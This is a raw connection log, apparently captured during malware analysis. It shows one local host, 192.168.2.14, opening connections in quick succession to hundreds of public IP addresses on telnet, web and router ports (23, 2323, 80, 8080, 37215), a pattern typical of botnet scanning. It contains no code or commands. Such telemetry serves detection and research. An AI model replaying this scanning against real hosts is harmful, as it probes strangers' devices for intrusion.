Feb 27, 2025 07:08:37.588329077 CET	25538	8080	192.168.2.14	95.39.23.72
Feb 27, 2025 07:08:37.588339090 CET	25538	8080	192.168.2.14	94.201.255.207
Feb 27, 2025 07:08:37.588375092 CET	25538	8080	192.168.2.14	31.184.143.101
Feb 27, 2025 07:08:37.588375092 CET	25538	8080	192.168.2.14	95.189.126.134
Feb 27, 2025 07:08:37.588378906 CET	25538	8080	192.168.2.14	94.133.240.100
Feb 27, 2025 07:08:37.588378906 CET	25538	8080	192.168.2.14	62.41.110.236
Feb 27, 2025 07:08:37.588380098 CET	25538	8080	192.168.2.14	62.157.132.50
Feb 27, 2025 07:08:37.588380098 CET	25538	8080	192.168.2.14	31.222.63.135
Feb 27, 2025 07:08:37.588380098 CET	25538	8080	192.168.2.14	95.52.200.225
Feb 27, 2025 07:08:37.588386059 CET	25538	8080	192.168.2.14	31.18.50.111
Feb 27, 2025 07:08:37.588386059 CET	25538	8080	192.168.2.14	85.76.83.57
Feb 27, 2025 07:08:37.588386059 CET	25538	8080	192.168.2.14	94.235.183.165
Feb 27, 2025 07:08:37.588387966 CET	25538	8080	192.168.2.14	95.112.10.209
Feb 27, 2025 07:08:37.588380098 CET	25538	8080	192.168.2.14	31.162.18.76
Feb 27, 2025 07:08:37.588380098 CET	25538	8080	192.168.2.14	85.85.147.63
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	31.132.133.181
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	95.31.206.241
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	62.72.121.143
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	62.228.254.213
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	85.161.196.92
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	85.153.211.223
Feb 27, 2025 07:08:37.588390112 CET	25538	8080	192.168.2.14	31.117.188.5
Feb 27, 2025 07:08:37.588392973 CET	25538	8080	192.168.2.14	31.227.151.131
Feb 27, 2025 07:08:37.588393927 CET	25538	8080	192.168.2.14	62.6.21.131
Feb 27, 2025 07:08:37.588393927 CET	25538	8080	192.168.2.14	85.36.125.241
Feb 27, 2025 07:08:37.588392973 CET	25538	8080	192.168.2.14	95.133.121.81
Feb 27, 2025 07:08:37.588392973 CET	25538	8080	192.168.2.14	95.19.83.109
Feb 27, 2025 07:08:37.588399887 CET	25538	8080	192.168.2.14	31.151.23.216
Feb 27, 2025 07:08:37.588399887 CET	25538	8080	192.168.2.14	31.127.81.96
Feb 27, 2025 07:08:37.588402987 CET	25538	8080	192.168.2.14	94.47.144.240
Feb 27, 2025 07:08:37.588407040 CET	25538	8080	192.168.2.14	85.233.47.84
Feb 27, 2025 07:08:37.588416100 CET	25538	8080	192.168.2.14	94.205.8.185
Feb 27, 2025 07:08:37.588416100 CET	25538	8080	192.168.2.14	85.251.228.188
Feb 27, 2025 07:08:37.588423014 CET	25538	8080	192.168.2.14	85.84.52.119
Feb 27, 2025 07:08:37.588430882 CET	25538	8080	192.168.2.14	62.23.0.101
Feb 27, 2025 07:08:37.588437080 CET	25538	8080	192.168.2.14	94.30.146.42
Feb 27, 2025 07:08:37.588447094 CET	25538	8080	192.168.2.14	94.199.129.39
Feb 27, 2025 07:08:37.588449001 CET	25538	8080	192.168.2.14	62.170.146.204
Feb 27, 2025 07:08:37.588449001 CET	25538	8080	192.168.2.14	62.85.75.51
Feb 27, 2025 07:08:37.588453054 CET	25538	8080	192.168.2.14	85.110.115.213
Feb 27, 2025 07:08:37.588463068 CET	25538	8080	192.168.2.14	85.242.231.0
Feb 27, 2025 07:08:37.588471889 CET	25538	8080	192.168.2.14	31.252.30.67
Feb 27, 2025 07:08:37.588471889 CET	25538	8080	192.168.2.14	94.156.127.55
Feb 27, 2025 07:08:37.588471889 CET	25538	8080	192.168.2.14	31.175.5.131
Feb 27, 2025 07:08:37.588485956 CET	25538	8080	192.168.2.14	94.93.201.73
Feb 27, 2025 07:08:37.588490009 CET	25538	8080	192.168.2.14	62.213.165.202
Feb 27, 2025 07:08:37.588490009 CET	25538	8080	192.168.2.14	62.77.10.229
Feb 27, 2025 07:08:37.588490963 CET	25538	8080	192.168.2.14	94.209.15.39
Feb 27, 2025 07:08:37.588490963 CET	25538	8080	192.168.2.14	62.100.57.16
Feb 27, 2025 07:08:37.588494062 CET	25538	8080	192.168.2.14	94.170.34.122
Feb 27, 2025 07:08:37.588496923 CET	25538	8080	192.168.2.14	31.101.206.179
Feb 27, 2025 07:08:37.588500023 CET	25538	8080	192.168.2.14	94.34.140.181
Feb 27, 2025 07:08:37.588501930 CET	25538	8080	192.168.2.14	31.121.18.208
Feb 27, 2025 07:08:37.588511944 CET	25538	8080	192.168.2.14	62.238.243.181
Feb 27, 2025 07:08:37.588515043 CET	25538	8080	192.168.2.14	95.101.110.253
Feb 27, 2025 07:08:37.588522911 CET	25538	8080	192.168.2.14	95.162.87.33
Feb 27, 2025 07:08:37.588538885 CET	25538	8080	192.168.2.14	95.28.172.140
Feb 27, 2025 07:08:37.588538885 CET	25538	8080	192.168.2.14	94.173.82.222
Feb 27, 2025 07:08:37.588547945 CET	25538	8080	192.168.2.14	31.127.225.51
Feb 27, 2025 07:08:37.588547945 CET	25538	8080	192.168.2.14	62.255.219.236
Feb 27, 2025 07:08:37.588551998 CET	25538	8080	192.168.2.14	85.83.14.206
Feb 27, 2025 07:08:37.588552952 CET	25538	8080	192.168.2.14	31.72.162.36
Feb 27, 2025 07:08:37.588561058 CET	25538	8080	192.168.2.14	62.35.206.110
Feb 27, 2025 07:08:37.588566065 CET	25538	8080	192.168.2.14	62.54.32.177
Feb 27, 2025 07:08:37.588573933 CET	25538	8080	192.168.2.14	31.255.155.46
Feb 27, 2025 07:08:37.588573933 CET	25538	8080	192.168.2.14	95.79.230.98
Feb 27, 2025 07:08:37.588577032 CET	25538	8080	192.168.2.14	62.134.126.193
Feb 27, 2025 07:08:37.588579893 CET	25538	8080	192.168.2.14	85.223.140.204
Feb 27, 2025 07:08:37.588582993 CET	25538	8080	192.168.2.14	85.133.209.108
Feb 27, 2025 07:08:37.588583946 CET	25538	8080	192.168.2.14	62.151.198.26
Feb 27, 2025 07:08:37.588593960 CET	25538	8080	192.168.2.14	85.220.42.147
Feb 27, 2025 07:08:37.588608027 CET	25538	8080	192.168.2.14	62.157.124.25
Feb 27, 2025 07:08:37.588609934 CET	25538	8080	192.168.2.14	62.36.52.155
Feb 27, 2025 07:08:37.588613987 CET	25538	8080	192.168.2.14	31.88.102.136
Feb 27, 2025 07:08:37.588614941 CET	25538	8080	192.168.2.14	94.174.201.187
Feb 27, 2025 07:08:37.588618994 CET	25538	8080	192.168.2.14	94.53.170.239
Feb 27, 2025 07:08:37.588619947 CET	25538	8080	192.168.2.14	62.125.145.37
Feb 27, 2025 07:08:37.588620901 CET	25538	8080	192.168.2.14	31.153.50.192
Feb 27, 2025 07:08:37.588620901 CET	25538	8080	192.168.2.14	62.144.100.94
Feb 27, 2025 07:08:37.588629961 CET	25538	8080	192.168.2.14	31.18.237.89
Feb 27, 2025 07:08:37.588634968 CET	25538	8080	192.168.2.14	95.241.245.244
Feb 27, 2025 07:08:37.588639021 CET	25538	8080	192.168.2.14	94.171.117.239
Feb 27, 2025 07:08:37.588641882 CET	25538	8080	192.168.2.14	62.107.74.142
Feb 27, 2025 07:08:37.588641882 CET	25538	8080	192.168.2.14	94.34.229.168
Feb 27, 2025 07:08:37.588658094 CET	25538	8080	192.168.2.14	95.201.195.175
Feb 27, 2025 07:08:37.588660955 CET	25538	8080	192.168.2.14	94.222.121.23
Feb 27, 2025 07:08:37.588660955 CET	25538	8080	192.168.2.14	62.117.71.49
Feb 27, 2025 07:08:37.588660955 CET	25538	8080	192.168.2.14	31.4.25.229
Feb 27, 2025 07:08:37.588670015 CET	25538	8080	192.168.2.14	85.250.159.212
Feb 27, 2025 07:08:37.588671923 CET	25538	8080	192.168.2.14	62.133.196.153
Feb 27, 2025 07:08:37.588680983 CET	25538	8080	192.168.2.14	94.107.28.213
Feb 27, 2025 07:08:37.588691950 CET	25538	8080	192.168.2.14	95.246.243.33
Feb 27, 2025 07:08:37.588692904 CET	25538	8080	192.168.2.14	31.51.59.131
Feb 27, 2025 07:08:37.588705063 CET	25538	8080	192.168.2.14	95.72.246.219
Feb 27, 2025 07:08:37.588706970 CET	25538	8080	192.168.2.14	85.56.111.182
Feb 27, 2025 07:08:37.588716030 CET	25538	8080	192.168.2.14	94.93.244.66
Feb 27, 2025 07:08:37.588716030 CET	25538	8080	192.168.2.14	95.119.144.10
Feb 27, 2025 07:08:37.588721037 CET	25538	8080	192.168.2.14	94.155.209.231
Feb 27, 2025 07:08:37.588721991 CET	25538	8080	192.168.2.14	62.196.207.245
Feb 27, 2025 07:08:37.588732958 CET	25538	8080	192.168.2.14	31.137.97.144
Feb 27, 2025 07:08:37.588740110 CET	25538	8080	192.168.2.14	31.103.214.127
Feb 27, 2025 07:08:37.588745117 CET	25538	8080	192.168.2.14	94.56.176.32
Feb 27, 2025 07:08:37.588752985 CET	25538	8080	192.168.2.14	85.82.73.26
Feb 27, 2025 07:08:37.588752031 CET	25538	8080	192.168.2.14	31.6.36.37
Feb 27, 2025 07:08:37.588757992 CET	25538	8080	192.168.2.14	95.197.148.227
Feb 27, 2025 07:08:37.588762999 CET	25538	8080	192.168.2.14	95.61.62.94
Feb 27, 2025 07:08:37.588767052 CET	25538	8080	192.168.2.14	94.41.7.126
Feb 27, 2025 07:08:37.588767052 CET	25538	8080	192.168.2.14	62.161.132.93
Feb 27, 2025 07:08:37.588767052 CET	25538	8080	192.168.2.14	85.156.85.173
Feb 27, 2025 07:08:37.588769913 CET	25538	8080	192.168.2.14	95.27.231.153
Feb 27, 2025 07:08:37.588787079 CET	25538	8080	192.168.2.14	85.214.114.69
Feb 27, 2025 07:08:37.588789940 CET	25538	8080	192.168.2.14	94.165.106.178
Feb 27, 2025 07:08:37.588789940 CET	25538	8080	192.168.2.14	94.62.54.58
Feb 27, 2025 07:08:37.588807106 CET	25538	8080	192.168.2.14	95.54.253.127
Feb 27, 2025 07:08:37.588807106 CET	25538	8080	192.168.2.14	62.188.11.93
Feb 27, 2025 07:08:37.588814020 CET	25538	8080	192.168.2.14	94.211.95.184
Feb 27, 2025 07:08:37.588819027 CET	25538	8080	192.168.2.14	62.37.62.242
Feb 27, 2025 07:08:37.588826895 CET	25538	8080	192.168.2.14	85.69.115.47
Feb 27, 2025 07:08:37.588829994 CET	25538	8080	192.168.2.14	85.36.24.75
Feb 27, 2025 07:08:37.588840008 CET	25538	8080	192.168.2.14	94.221.118.172
Feb 27, 2025 07:08:37.588845968 CET	25538	8080	192.168.2.14	31.43.24.42
Feb 27, 2025 07:08:37.588854074 CET	25538	8080	192.168.2.14	94.23.94.67
Feb 27, 2025 07:08:37.588855982 CET	25538	8080	192.168.2.14	95.34.251.85
Feb 27, 2025 07:08:37.588855982 CET	25538	8080	192.168.2.14	31.9.173.57
Feb 27, 2025 07:08:37.588867903 CET	25538	8080	192.168.2.14	31.184.159.168
Feb 27, 2025 07:08:37.588874102 CET	25538	8080	192.168.2.14	62.243.72.84
Feb 27, 2025 07:08:37.588874102 CET	25538	8080	192.168.2.14	85.124.120.164
Feb 27, 2025 07:08:37.588875055 CET	25538	8080	192.168.2.14	85.213.112.243
Feb 27, 2025 07:08:37.588875055 CET	25538	8080	192.168.2.14	85.131.199.113
Feb 27, 2025 07:08:37.588891983 CET	25538	8080	192.168.2.14	95.96.20.68
Feb 27, 2025 07:08:37.588891983 CET	25538	8080	192.168.2.14	95.101.96.74
Feb 27, 2025 07:08:37.588891983 CET	25538	8080	192.168.2.14	95.142.165.216
Feb 27, 2025 07:08:37.588891983 CET	25538	8080	192.168.2.14	94.20.215.206
Feb 27, 2025 07:08:37.588911057 CET	25538	8080	192.168.2.14	95.48.240.58
Feb 27, 2025 07:08:37.588912010 CET	25538	8080	192.168.2.14	62.2.37.146
Feb 27, 2025 07:08:37.588912964 CET	25538	8080	192.168.2.14	31.108.164.166
Feb 27, 2025 07:08:37.588920116 CET	25538	8080	192.168.2.14	94.203.42.197
Feb 27, 2025 07:08:37.588932037 CET	25538	8080	192.168.2.14	31.28.86.1
Feb 27, 2025 07:08:37.588938951 CET	25538	8080	192.168.2.14	31.34.61.126
Feb 27, 2025 07:08:37.588938951 CET	25538	8080	192.168.2.14	62.222.108.8
Feb 27, 2025 07:08:37.588941097 CET	25538	8080	192.168.2.14	95.38.69.142
Feb 27, 2025 07:08:37.588942051 CET	25538	8080	192.168.2.14	31.203.170.50
Feb 27, 2025 07:08:37.588949919 CET	25538	8080	192.168.2.14	94.211.61.16
Feb 27, 2025 07:08:37.588953018 CET	25538	8080	192.168.2.14	62.162.27.100
Feb 27, 2025 07:08:37.588953018 CET	25538	8080	192.168.2.14	85.164.55.47
Feb 27, 2025 07:08:37.588953018 CET	25538	8080	192.168.2.14	31.40.235.211
Feb 27, 2025 07:08:37.588958025 CET	25538	8080	192.168.2.14	85.33.59.228
Feb 27, 2025 07:08:37.588978052 CET	25538	8080	192.168.2.14	85.14.206.204
Feb 27, 2025 07:08:37.588980913 CET	25538	8080	192.168.2.14	62.194.209.3
Feb 27, 2025 07:08:37.588980913 CET	25538	8080	192.168.2.14	62.112.159.86
Feb 27, 2025 07:08:37.588980913 CET	25538	8080	192.168.2.14	94.226.141.147
Feb 27, 2025 07:08:37.588984013 CET	25538	8080	192.168.2.14	85.74.46.194
Feb 27, 2025 07:08:37.588984013 CET	25538	8080	192.168.2.14	31.163.67.215
Feb 27, 2025 07:08:37.588985920 CET	25538	8080	192.168.2.14	85.13.149.143
Feb 27, 2025 07:08:37.588994026 CET	25538	8080	192.168.2.14	85.26.213.55
Feb 27, 2025 07:08:37.589010000 CET	25538	8080	192.168.2.14	62.216.165.39
Feb 27, 2025 07:08:37.589014053 CET	25538	8080	192.168.2.14	94.45.142.118
Feb 27, 2025 07:08:37.589015007 CET	25538	8080	192.168.2.14	94.177.207.223
Feb 27, 2025 07:08:37.589020014 CET	25538	8080	192.168.2.14	62.65.236.170
Feb 27, 2025 07:08:37.589024067 CET	25538	8080	192.168.2.14	94.224.74.25
Feb 27, 2025 07:08:37.589025021 CET	25538	8080	192.168.2.14	85.89.120.255
Feb 27, 2025 07:08:37.589024067 CET	25538	8080	192.168.2.14	62.109.189.220
Feb 27, 2025 07:08:37.589024067 CET	25538	8080	192.168.2.14	85.241.8.196
Feb 27, 2025 07:08:37.589026928 CET	25538	8080	192.168.2.14	31.129.162.96
Feb 27, 2025 07:08:37.589026928 CET	25538	8080	192.168.2.14	94.203.161.192
Feb 27, 2025 07:08:37.589026928 CET	25538	8080	192.168.2.14	62.48.41.102
Feb 27, 2025 07:08:37.589027882 CET	25538	8080	192.168.2.14	95.114.163.242
Feb 27, 2025 07:08:37.589024067 CET	25538	8080	192.168.2.14	94.124.183.141
Feb 27, 2025 07:08:37.589037895 CET	25538	8080	192.168.2.14	94.213.245.179
Feb 27, 2025 07:08:37.589039087 CET	25538	8080	192.168.2.14	31.98.235.37
Feb 27, 2025 07:08:37.589071035 CET	25538	8080	192.168.2.14	62.52.155.176
Feb 27, 2025 07:08:37.589071035 CET	25538	8080	192.168.2.14	94.120.217.161
Feb 27, 2025 07:08:37.589071035 CET	25538	8080	192.168.2.14	94.44.163.100
Feb 27, 2025 07:08:37.589071989 CET	25538	8080	192.168.2.14	31.17.154.71
Feb 27, 2025 07:08:37.589071989 CET	25538	8080	192.168.2.14	62.202.39.180
Feb 27, 2025 07:08:37.589072943 CET	25538	8080	192.168.2.14	94.57.114.18
Feb 27, 2025 07:08:37.589077950 CET	25538	8080	192.168.2.14	31.8.72.3
Feb 27, 2025 07:08:37.589078903 CET	25538	8080	192.168.2.14	95.156.251.11
Feb 27, 2025 07:08:37.589082956 CET	25538	8080	192.168.2.14	31.62.138.31
Feb 27, 2025 07:08:37.589087009 CET	25538	8080	192.168.2.14	95.60.109.236
Feb 27, 2025 07:08:37.589087009 CET	25538	8080	192.168.2.14	85.108.107.39
Feb 27, 2025 07:08:37.589087009 CET	25538	8080	192.168.2.14	85.156.136.238
Feb 27, 2025 07:08:37.589090109 CET	25538	8080	192.168.2.14	31.204.131.4
Feb 27, 2025 07:08:37.589091063 CET	25538	8080	192.168.2.14	62.46.147.126
Feb 27, 2025 07:08:37.589093924 CET	25538	8080	192.168.2.14	85.86.118.11
Feb 27, 2025 07:08:37.589093924 CET	25538	8080	192.168.2.14	95.153.104.79
Feb 27, 2025 07:08:37.589093924 CET	25538	8080	192.168.2.14	95.43.160.66
Feb 27, 2025 07:08:37.589098930 CET	25538	8080	192.168.2.14	95.24.25.38
Feb 27, 2025 07:08:37.589107990 CET	25538	8080	192.168.2.14	62.20.124.205
Feb 27, 2025 07:08:37.589112043 CET	25538	8080	192.168.2.14	85.92.58.164
Feb 27, 2025 07:08:37.589116096 CET	25538	8080	192.168.2.14	31.86.230.124
Feb 27, 2025 07:08:37.589128017 CET	25538	8080	192.168.2.14	31.203.156.23
Feb 27, 2025 07:08:37.589134932 CET	25538	8080	192.168.2.14	85.218.197.203
Feb 27, 2025 07:08:37.589134932 CET	25538	8080	192.168.2.14	95.129.253.204
Feb 27, 2025 07:08:37.589147091 CET	25538	8080	192.168.2.14	94.78.146.206
Feb 27, 2025 07:08:37.589157104 CET	25538	8080	192.168.2.14	31.180.98.144
Feb 27, 2025 07:08:37.589158058 CET	25538	8080	192.168.2.14	94.100.234.102
Feb 27, 2025 07:08:37.589158058 CET	25538	8080	192.168.2.14	31.178.236.11
Feb 27, 2025 07:08:37.589158058 CET	25538	8080	192.168.2.14	94.223.123.192
Feb 27, 2025 07:08:37.589174032 CET	25538	8080	192.168.2.14	62.91.95.130
Feb 27, 2025 07:08:37.589174032 CET	25538	8080	192.168.2.14	95.149.57.44
Feb 27, 2025 07:08:37.589176893 CET	25538	8080	192.168.2.14	94.182.130.118
Feb 27, 2025 07:08:37.589176893 CET	25538	8080	192.168.2.14	62.68.153.174
Feb 27, 2025 07:08:37.589179993 CET	25538	8080	192.168.2.14	31.45.21.167
Feb 27, 2025 07:08:37.589186907 CET	25538	8080	192.168.2.14	62.242.164.225
Feb 27, 2025 07:08:37.589193106 CET	25538	8080	192.168.2.14	94.81.176.241
Feb 27, 2025 07:08:37.589195967 CET	25538	8080	192.168.2.14	95.114.235.114
Feb 27, 2025 07:08:37.589209080 CET	25538	8080	192.168.2.14	62.129.138.140
Feb 27, 2025 07:08:37.589210987 CET	25538	8080	192.168.2.14	94.164.83.176
Feb 27, 2025 07:08:37.589225054 CET	25538	8080	192.168.2.14	85.190.243.18
Feb 27, 2025 07:08:37.589225054 CET	25538	8080	192.168.2.14	85.129.170.1
Feb 27, 2025 07:08:37.589229107 CET	25538	8080	192.168.2.14	31.29.45.200
Feb 27, 2025 07:08:37.589229107 CET	25538	8080	192.168.2.14	95.38.49.198
Feb 27, 2025 07:08:37.589242935 CET	25538	8080	192.168.2.14	31.110.51.127
Feb 27, 2025 07:08:37.589241982 CET	25538	8080	192.168.2.14	31.122.100.95
Feb 27, 2025 07:08:37.589241982 CET	25538	8080	192.168.2.14	95.161.50.195
Feb 27, 2025 07:08:37.589241982 CET	25538	8080	192.168.2.14	31.220.191.162
Feb 27, 2025 07:08:37.589257956 CET	25538	8080	192.168.2.14	31.81.134.118
Feb 27, 2025 07:08:37.589261055 CET	25538	8080	192.168.2.14	31.48.34.69
Feb 27, 2025 07:08:37.589270115 CET	25538	8080	192.168.2.14	95.247.246.184
Feb 27, 2025 07:08:37.589270115 CET	25538	8080	192.168.2.14	31.11.1.213
Feb 27, 2025 07:08:37.589279890 CET	25538	8080	192.168.2.14	62.141.234.42
Feb 27, 2025 07:08:37.589282990 CET	25538	8080	192.168.2.14	31.39.157.35
Feb 27, 2025 07:08:37.589282990 CET	25538	8080	192.168.2.14	62.61.244.50
Feb 27, 2025 07:08:37.589302063 CET	25538	8080	192.168.2.14	62.248.161.233
Feb 27, 2025 07:08:37.589303970 CET	25538	8080	192.168.2.14	94.94.115.122
Feb 27, 2025 07:08:37.589307070 CET	25538	8080	192.168.2.14	95.93.88.238
Feb 27, 2025 07:08:37.589307070 CET	25538	8080	192.168.2.14	85.7.29.28
Feb 27, 2025 07:08:37.589312077 CET	25538	8080	192.168.2.14	31.238.135.241
Feb 27, 2025 07:08:37.589320898 CET	25538	8080	192.168.2.14	95.254.140.33
Feb 27, 2025 07:08:37.589333057 CET	25538	8080	192.168.2.14	95.231.108.222
Feb 27, 2025 07:08:37.589339018 CET	25538	8080	192.168.2.14	85.51.234.72
Feb 27, 2025 07:08:37.589339018 CET	25538	8080	192.168.2.14	94.195.72.2
Feb 27, 2025 07:08:37.589339018 CET	25538	8080	192.168.2.14	94.241.148.130
Feb 27, 2025 07:08:37.589354992 CET	25538	8080	192.168.2.14	85.33.68.18
Feb 27, 2025 07:08:37.589354992 CET	25538	8080	192.168.2.14	95.197.34.253
Feb 27, 2025 07:08:37.589354992 CET	25538	8080	192.168.2.14	95.207.96.254
Feb 27, 2025 07:08:37.589359999 CET	25538	8080	192.168.2.14	85.180.135.161
Feb 27, 2025 07:08:37.589359999 CET	25538	8080	192.168.2.14	31.175.182.114
Feb 27, 2025 07:08:37.589359999 CET	25538	8080	192.168.2.14	62.223.233.36
Feb 27, 2025 07:08:37.589373112 CET	25538	8080	192.168.2.14	94.64.222.27
Feb 27, 2025 07:08:37.589375973 CET	25538	8080	192.168.2.14	95.205.226.28
Feb 27, 2025 07:08:37.589378119 CET	25538	8080	192.168.2.14	85.38.95.151
Feb 27, 2025 07:08:37.589379072 CET	25538	8080	192.168.2.14	94.196.242.49
Feb 27, 2025 07:08:37.589382887 CET	25538	8080	192.168.2.14	31.164.116.129
Feb 27, 2025 07:08:37.589390039 CET	25538	8080	192.168.2.14	62.202.124.252
Feb 27, 2025 07:08:37.589401007 CET	25538	8080	192.168.2.14	85.47.65.239
Feb 27, 2025 07:08:37.589401007 CET	25538	8080	192.168.2.14	94.164.22.196
Feb 27, 2025 07:08:37.589411020 CET	25538	8080	192.168.2.14	62.100.11.104
Feb 27, 2025 07:08:37.589411974 CET	25538	8080	192.168.2.14	62.12.120.229
Feb 27, 2025 07:08:37.589418888 CET	25538	8080	192.168.2.14	85.43.142.182
Feb 27, 2025 07:08:37.589421034 CET	25538	8080	192.168.2.14	94.137.77.170
Feb 27, 2025 07:08:37.589422941 CET	25538	8080	192.168.2.14	94.28.17.74
Feb 27, 2025 07:08:37.589433908 CET	25538	8080	192.168.2.14	94.173.55.15
Feb 27, 2025 07:08:37.589437008 CET	25538	8080	192.168.2.14	62.99.177.143
Feb 27, 2025 07:08:37.589440107 CET	25538	8080	192.168.2.14	62.240.186.222
Feb 27, 2025 07:08:37.589442968 CET	25538	8080	192.168.2.14	31.141.24.206
Feb 27, 2025 07:08:37.589461088 CET	25538	8080	192.168.2.14	31.223.52.135
Feb 27, 2025 07:08:37.589461088 CET	25538	8080	192.168.2.14	62.188.25.16
Feb 27, 2025 07:08:37.589463949 CET	25538	8080	192.168.2.14	31.90.16.117
Feb 27, 2025 07:08:37.589463949 CET	25538	8080	192.168.2.14	31.19.64.22
Feb 27, 2025 07:08:37.589489937 CET	25538	8080	192.168.2.14	94.208.58.63
Feb 27, 2025 07:08:37.589489937 CET	25538	8080	192.168.2.14	31.140.228.0
Feb 27, 2025 07:08:37.589493036 CET	25538	8080	192.168.2.14	95.145.73.148
Feb 27, 2025 07:08:37.589494944 CET	25538	8080	192.168.2.14	85.106.113.12
Feb 27, 2025 07:08:37.589494944 CET	25538	8080	192.168.2.14	62.119.53.21
Feb 27, 2025 07:08:37.589494944 CET	25538	8080	192.168.2.14	31.63.112.85
Feb 27, 2025 07:08:37.589504004 CET	25538	8080	192.168.2.14	94.107.197.145
Feb 27, 2025 07:08:37.589508057 CET	25538	8080	192.168.2.14	94.49.51.245
Feb 27, 2025 07:08:37.589513063 CET	25538	8080	192.168.2.14	94.190.45.92
Feb 27, 2025 07:08:37.589520931 CET	25538	8080	192.168.2.14	95.76.24.115
Feb 27, 2025 07:08:37.589521885 CET	25538	8080	192.168.2.14	31.186.175.222
Feb 27, 2025 07:08:37.589521885 CET	25538	8080	192.168.2.14	94.243.166.27
Feb 27, 2025 07:08:37.589531898 CET	25538	8080	192.168.2.14	62.40.42.92
Feb 27, 2025 07:08:37.589539051 CET	25538	8080	192.168.2.14	94.58.152.252
Feb 27, 2025 07:08:37.589539051 CET	25538	8080	192.168.2.14	85.196.147.186
Feb 27, 2025 07:08:37.589539051 CET	25538	8080	192.168.2.14	94.15.9.76
Feb 27, 2025 07:08:37.589541912 CET	25538	8080	192.168.2.14	85.104.185.126
Feb 27, 2025 07:08:37.589560032 CET	25538	8080	192.168.2.14	95.104.9.253
Feb 27, 2025 07:08:37.589560032 CET	25538	8080	192.168.2.14	31.52.32.27
Feb 27, 2025 07:08:37.589561939 CET	25538	8080	192.168.2.14	94.116.156.255
Feb 27, 2025 07:08:37.589565992 CET	25538	8080	192.168.2.14	31.193.69.164
Feb 27, 2025 07:08:37.589565992 CET	25538	8080	192.168.2.14	95.97.201.196
Feb 27, 2025 07:08:37.589565992 CET	25538	8080	192.168.2.14	31.38.59.129
Feb 27, 2025 07:08:37.589576006 CET	25538	8080	192.168.2.14	31.43.182.60
Feb 27, 2025 07:08:37.589580059 CET	25538	8080	192.168.2.14	95.90.250.173
Feb 27, 2025 07:08:37.589581013 CET	25538	8080	192.168.2.14	85.243.126.72
Feb 27, 2025 07:08:37.589589119 CET	25538	8080	192.168.2.14	62.4.249.185
Feb 27, 2025 07:08:37.589591980 CET	25538	8080	192.168.2.14	94.113.56.241
Feb 27, 2025 07:08:37.589596033 CET	25538	8080	192.168.2.14	31.171.218.103
Feb 27, 2025 07:08:37.589597940 CET	25538	8080	192.168.2.14	95.113.107.75
Feb 27, 2025 07:08:37.589598894 CET	25538	8080	192.168.2.14	62.36.109.98
Feb 27, 2025 07:08:37.594728947 CET	54494	80	192.168.2.14	88.132.13.82
Feb 27, 2025 07:08:37.594733000 CET	40418	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:37.594733000 CET	58844	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:37.599081039 CET	60336	23	192.168.2.14	169.143.234.119
Feb 27, 2025 07:08:37.599648952 CET	58196	23	192.168.2.14	91.115.29.160
Feb 27, 2025 07:08:37.600198030 CET	46662	23	192.168.2.14	101.65.81.69
Feb 27, 2025 07:08:37.600739002 CET	35892	23	192.168.2.14	159.182.160.101
Feb 27, 2025 07:08:37.601267099 CET	56568	23	192.168.2.14	58.250.214.189
Feb 27, 2025 07:08:37.601813078 CET	58792	23	192.168.2.14	89.170.81.147
Feb 27, 2025 07:08:37.602359056 CET	49324	23	192.168.2.14	164.0.135.85
Feb 27, 2025 07:08:37.602910042 CET	35254	2323	192.168.2.14	24.25.103.51
Feb 27, 2025 07:08:37.612173080 CET	28354	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.612189054 CET	28354	37215	192.168.2.14	157.148.238.134
Feb 27, 2025 07:08:37.612210989 CET	28354	37215	192.168.2.14	157.246.67.233
Feb 27, 2025 07:08:37.612215042 CET	28354	37215	192.168.2.14	157.52.11.255
Feb 27, 2025 07:08:37.612248898 CET	28354	37215	192.168.2.14	157.45.120.5
Feb 27, 2025 07:08:37.612248898 CET	28354	37215	192.168.2.14	157.158.9.26
Feb 27, 2025 07:08:37.612262011 CET	28354	37215	192.168.2.14	157.182.142.229
Feb 27, 2025 07:08:37.612276077 CET	28354	37215	192.168.2.14	157.243.204.25
Feb 27, 2025 07:08:37.612288952 CET	28354	37215	192.168.2.14	157.253.181.121
Feb 27, 2025 07:08:37.612302065 CET	28354	37215	192.168.2.14	157.242.132.115
Feb 27, 2025 07:08:37.612318039 CET	28354	37215	192.168.2.14	157.232.34.180
Feb 27, 2025 07:08:37.612334967 CET	28354	37215	192.168.2.14	157.75.81.189
Feb 27, 2025 07:08:37.612354994 CET	28354	37215	192.168.2.14	157.70.52.60
Feb 27, 2025 07:08:37.612365007 CET	28354	37215	192.168.2.14	157.142.249.78
Feb 27, 2025 07:08:37.612374067 CET	28354	37215	192.168.2.14	157.130.95.203
Feb 27, 2025 07:08:37.612401962 CET	28354	37215	192.168.2.14	157.175.103.107
Feb 27, 2025 07:08:37.612418890 CET	28354	37215	192.168.2.14	157.25.33.195
Feb 27, 2025 07:08:37.612452984 CET	28354	37215	192.168.2.14	157.3.132.145
Feb 27, 2025 07:08:37.612488985 CET	28354	37215	192.168.2.14	157.65.212.113
Feb 27, 2025 07:08:37.612498999 CET	28354	37215	192.168.2.14	157.97.189.74
Feb 27, 2025 07:08:37.612514019 CET	28354	37215	192.168.2.14	157.29.181.152
Feb 27, 2025 07:08:37.612533092 CET	28354	37215	192.168.2.14	157.216.103.177
Feb 27, 2025 07:08:37.612551928 CET	28354	37215	192.168.2.14	157.26.174.175
Feb 27, 2025 07:08:37.612565994 CET	28354	37215	192.168.2.14	157.163.75.121
Feb 27, 2025 07:08:37.612574100 CET	28354	37215	192.168.2.14	157.139.201.185
Feb 27, 2025 07:08:37.612595081 CET	28354	37215	192.168.2.14	157.121.45.142
Feb 27, 2025 07:08:37.612606049 CET	28354	37215	192.168.2.14	157.102.30.118
Feb 27, 2025 07:08:37.612621069 CET	28354	37215	192.168.2.14	157.128.29.249
Feb 27, 2025 07:08:37.612637997 CET	28354	37215	192.168.2.14	157.180.123.11
Feb 27, 2025 07:08:37.612653017 CET	28354	37215	192.168.2.14	157.30.165.238
